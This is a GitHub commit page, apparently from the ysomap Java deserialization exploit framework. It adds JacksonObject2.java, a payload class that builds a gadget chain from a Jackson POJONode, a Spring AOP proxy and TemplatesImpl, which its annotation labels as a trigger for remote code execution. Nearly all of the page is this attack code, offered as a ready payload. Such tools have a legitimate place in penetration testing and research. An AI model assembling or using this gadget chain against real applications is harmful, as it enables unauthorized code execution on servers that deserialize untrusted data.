-
Notifications
You must be signed in to change notification settings - Fork 150
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
3 changed files
with
53 additions
and
18 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
37 changes: 37 additions & 0 deletions
37
core/src/main/java/ysomap/payloads/java/jackson/JacksonObject2.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
package ysomap.payloads.java.jackson; | ||
|
||
import com.fasterxml.jackson.databind.node.POJONode; | ||
import ysomap.bullets.Bullet; | ||
import ysomap.bullets.jdk.TemplatesImplBullet; | ||
import ysomap.common.annotation.*; | ||
import ysomap.core.util.PayloadHelper; | ||
import ysomap.payloads.AbstractPayload; | ||
|
||
import javax.xml.transform.Templates; | ||
|
||
/** | ||
* @author whocansee | ||
* @since 2023/10/7 | ||
* https://xz.aliyun.com/t/12846 | ||
*/ | ||
@Payloads | ||
@SuppressWarnings({"rawtypes"}) | ||
@Authors({ Authors.whocansee }) | ||
@Targets({Targets.JDK}) | ||
@Require(bullets = {"TemplatesImplBullet"}, param = false) | ||
@Dependencies({"spring-aop", "jackson"}) | ||
@Details("jackson & spring-aop trigger templates to rce") | ||
public class JacksonObject2 extends AbstractPayload<Object> { | ||
|
||
@Override | ||
public Bullet getDefaultBullet(Object... args) throws Exception { | ||
return TemplatesImplBullet.newInstance(args); | ||
} | ||
|
||
@Override | ||
public Object pack(Object obj) throws Exception { | ||
Object proxy = PayloadHelper.makeSpringAOPProxy(Templates.class, obj);; | ||
POJONode node = new POJONode(proxy); | ||
return PayloadHelper.makeReadObjectToStringTrigger(node); | ||
} | ||
} |